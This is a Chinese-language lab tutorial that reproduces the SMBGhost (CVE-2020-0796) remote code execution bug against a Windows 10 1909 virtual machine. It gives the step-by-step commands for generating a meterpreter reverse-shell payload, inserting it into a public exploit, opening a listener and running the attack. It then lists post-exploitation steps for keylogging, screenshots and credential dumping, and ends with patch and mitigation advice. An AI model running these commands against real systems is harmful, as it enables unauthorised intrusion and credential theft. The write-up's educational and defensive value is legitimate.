前言:本次漏洞的检测是用的PoC漏洞检测脚本,漏洞的利用是EXP漏洞利用骄脚本。那为啥要用脚本而不是用MSF中的某个模块呢?永恒之黑(CVE-2020-0796)漏洞之所以通常需要借助独立脚本而非MSF一键模块,主要源于其利用的不稳定性与特殊定位。该漏洞触发内核缓冲区溢出极易导致靶机蓝屏,即使利用成功系统也可能在短时间内崩溃,同时其影响范围仅限于Windows 10 1903/1909等少数版本,且微软迅速发布了补丁,这使得开发稳定、通用的远程利用模块价值较低。MSF尽管后来也收录了该漏洞模块,但官方评级并不推荐作为首选攻击手段,相反该漏洞在本地提权(LPE)场景中更具实战意义——攻击者通常先通过其他方式获得低权限Shell,再利用永恒之黑提权至SYSTEM。因此,实战中更多采用社区维护的独立脚本,以获得更好的灵活性和对不稳定利用的容忍度。
1. 漏洞概述
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2020-0796(微软安全公告 ADV200005) |
| 漏洞名称 | SMBGhost / CoronaBlue / 永恒之黑 |
| 漏洞类型 | SMBv3 压缩功能缓冲区溢出 → 远程代码执行(RCE) |
| 影响组件 | Windows SMBv3.1.1 协议(压缩解压功能) |
| 危害等级 | 高危(CVSS 8.8/10),可远程获取 SYSTEM 权限 |
| 影响系统 | Windows 10 1903 / 1909(64位),Windows Server 1903 / 1909 |
2. 实验环境
| 角色 | 操作系统 | IP 地址 | 关键配置 |
|---|---|---|---|
| 攻击机 | Kali Linux | 192.168.10.224 | 安装 git, python3, msfvenom, Metasploit |
| 靶机 | Windows 10 1909 | 192.168.10.141 | 未打补丁 KB4551762,关闭防火墙,445端口开放 |
靶机为win10版本并且关闭了防火墙的,可以看到两台主机能够互通的
3. 漏洞检测
3.1 下载漏洞检测工具
网址:https://github.com/ollypwn/SMBGhost
3.2 执行漏洞检测
命令:python scanner.py 192.168.10.141
如果漏洞存在,会显示[+] Target is vulnerable!;如果已打补丁或不影响,会显示[-] Target is not vulnerable.。
可以用ls命令查看当前文件夹,可以看到有scanner.py文件,执行漏洞检测命令,输出Vulnerable 说明靶机确实是存在着漏洞的。
检测原理:该脚本通过发送特制的 SMB 协商请求,检查目标是否支持 SMBv3 压缩功能且未安装补丁,从而判断漏洞是否存在。可以打开脚本看看代码就好理解了。
4. 漏洞原理简述
漏洞位置:Windows SMBv3.1.1 压缩功能,函数
Srv2DecompressData。触发机制:该函数计算解压所需内存时,直接相加攻击者可控的两个32位字段:
OriginalCompressedSegmentSize + Offset。攻击者设为最大值+小值(如0xFFFFFFFF+0x10),导致整数溢出,结果变成很小的数(如15字节)。分配过小内存:系统分配了15字节的缓冲区,但解压后的实际数据有数MB,写入时发生内核缓冲区溢出。
两种结果:
成功:溢出数据中精心构造了返回地址,指向shellcode → 执行恶意代码,获得SYSTEM权限。
失败:返回地址错位 → CPU跳转到无效地址 → 蓝屏。
不稳定原因:返回地址的精确偏移依赖系统版本、内存布局、KASLR等,EXP内置偏移易与实际不符,导致频繁蓝屏。
5. 漏洞利用步骤
5.1 下载远程利用 EXP
网址:https://github.com/chompie1337/SMBGhost_RCE_PoC
5.2 生成反向连接木马(Payload)
双击打开文件夹,右键打开终端,这就进入到了该文件夹的终端中,接下来要使用msfvenom生成一个木马,这里采用反向连接,反向连接是指木马在靶机中运行后主动向攻击机发起连接,其核心优势在于能够穿透防火墙和NAT,因为出站连接通常被允许,从而解决了靶机无法被直接访问的问题。执行以下命令就能生成一个木马程序存放在shellcode.txt的文件中。
注意反向连接一定要加LHOST参数,因为反向连接是木马在靶机中主动向攻击机发起连接,他必须要知道攻击机的地址,如果选择正向连接的话就可以不加。
命令:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.224 LPORT=4444 -f python -o shellcode.txt
可以看到这里生成成功了一个木马程序。
5.3 修改 EXP 脚本,植入木马
成功生成了一个木马程序后需要将这个木马程序写入攻击程序中。但是这个生成的木马程序不能直接使用,需要做出一些修改。以下是步骤:
用文本编辑器打开
shellcode.txt,然后点击搜索查找并替换所有的buf为USER_PAYLOAD。
2.将修改后的shellcode.txt保存并全选复制,然后打开文件夹中名叫exploit.py的文件,这个文件就是攻击程序了,打开后往下滑找到以USER_PAYLOAD开头的这一串代码块,然后把这一块代码全选后替换为刚刚我们复制的木马程序的代码。看到这应该就知道为啥上一步要把我们生成的木马程序改成USER_PAYLOAD开头了吧,就是为了和这个代码块的开头一致。
看到这可能会有疑问,为啥要把这个代码块替换成我们生成的木马程序呢,我们可以这样想,现在这个exploit.py程序就是攻击程序,我们可以把他想做是一个注射器,而我们刚刚生成的木马程序比做成药水,我们替换代码块的这一步就像是给注射器中替换一个为你量身打造的药水,实现对症下药。原本的代码块可能不适合我们的环境,如果不替换可能出现攻击失败的问题。
5.4 启动 Metasploit 监听器
通过上面的几步,我们对永恒之黑漏洞的检测和脚本的准备都已经完成了,接下来我们就要通过exploit.py这个攻击程序注入我们生成的木马程序。由于我们配置的是反向连接,需要等木马主动来连接kali主机,所以我们需要在kali的handler配置监听端口。
另开一个终端:
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp ()
msf6 exploit(multi/handler) > set LHOST 192.168.10.224
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run
依次执行完命令后可以看到,已经成功开启了反向链接,监听192.168.10.224(本机)的4444端口,注意这个端口要设置和生成木马的时候设置的端口一致,这些命令设置的参数要和生成木马的参数一致。
5.5 发起攻击
kali攻击机已经开启了444端口的监听,接下来就要发起攻击了,要让植入的木马主动连接过来。
在第一个终端执行:
python exploit.py -ip 192.168.10.141
脚本会打印内存信息,最后提示Press a key to execute shellcode!,按任意键。
这个时候按下任意一个按键,攻击发起完成。
由于永恒之黑并不像永恒之蓝那样能够稳定利用,这个时候出现蓝屏是正常的,永恒之黑是内核级内存破坏漏洞,利用需要精确控制内存布局,而ASLR、系统状态等不可控因素极易导致蓝屏或失败,因此极不稳定。这个时候也无法判断木马是否植入成功,这时候反复运行几遍总能成功一次。这里有个小技巧,在靶机未登录的时候(在登录页面)这个时候发起攻击成功率更高。
5.6 获取会话
如果成功,监听器会显示Meterpreter session 1 opened。进入会话:
bash
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
经过多次尝试后,成功进入了会话,执行getuid命令和sysinfo命令后可以看到成功输出了信息,至此永恒之黑漏洞的利用完成
6. 后渗透操作(可选)
迁移进程以支持截图、键盘记录:
bash
meterpreter > ps | grep explorer
meterpreter > migrate <PID>截图:
screenshot键盘记录:
keyscan_start→keyscan_dump抓取哈希:
hashdump加载 kiwi:
load kiwi→creds_all
7. 常见问题
| 问题 | 原因 | 解决方法 |
|---|---|---|
| 靶机蓝屏 | 漏洞利用不稳定 | 恢复快照,未登录状态重试,多次尝试 |
| 监听器无连接 | 木马未执行或网络不通 | 检查防火墙、LHOST、端口,这里不行可以尝试重启主机,恢复快照。 |
| 提示缺少模块 | Python 依赖缺失 | pip3 install impacket pycryptodome |
8. 防御建议
安装补丁:KB4551762。
临时缓解:禁用 SMBv3 压缩(PowerShell 管理员):
powershell
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" -Name "DisableCompression" -Type DWORD -Value 1 -Force
网络封堵:边界防火墙阻止 445 端口入站。
系统升级:升级到 Windows 10 20H2 及以上版本。
9.参考资料
| 类别 | 名称 | 链接 |
|---|---|---|
| 官方公告 | Microsoft 安全通报 ADV200005 | https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV200005 |
| 漏洞数据库 | NVD - CVE-2020-0796 | https://nvd.nist.gov/vuln/detail/CVE-2020-0796 |
| 检测工具 | ollypwn / SMBGhost (GitHub) | https://github.com/ollypwn/SMBGhost |
| 利用脚本 | chompie1337 / SMBGhost_RCE_PoC (GitHub) | https://github.com/chompie1337/SMBGhost_RCE_PoC |
| 国内分析 | 绿盟科技漏洞通告 | https://www.nsfocus.net/vulndb/46976 |
| 补丁下载 | Microsoft 官方补丁 KB4551762 | https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762 |
10. 总结
本次实验成功复现了永恒之黑漏洞的远程代码执行攻击,获得了靶机的 SYSTEM 权限。关键经验:
漏洞检测是确认目标是否可攻击的重要前提。
远程利用极不稳定,蓝屏常见,需多次尝试。
未登录状态下成功率显著提高(内存布局更干净)。
该漏洞再次证明及时安装补丁、关闭不必要服务的重要性。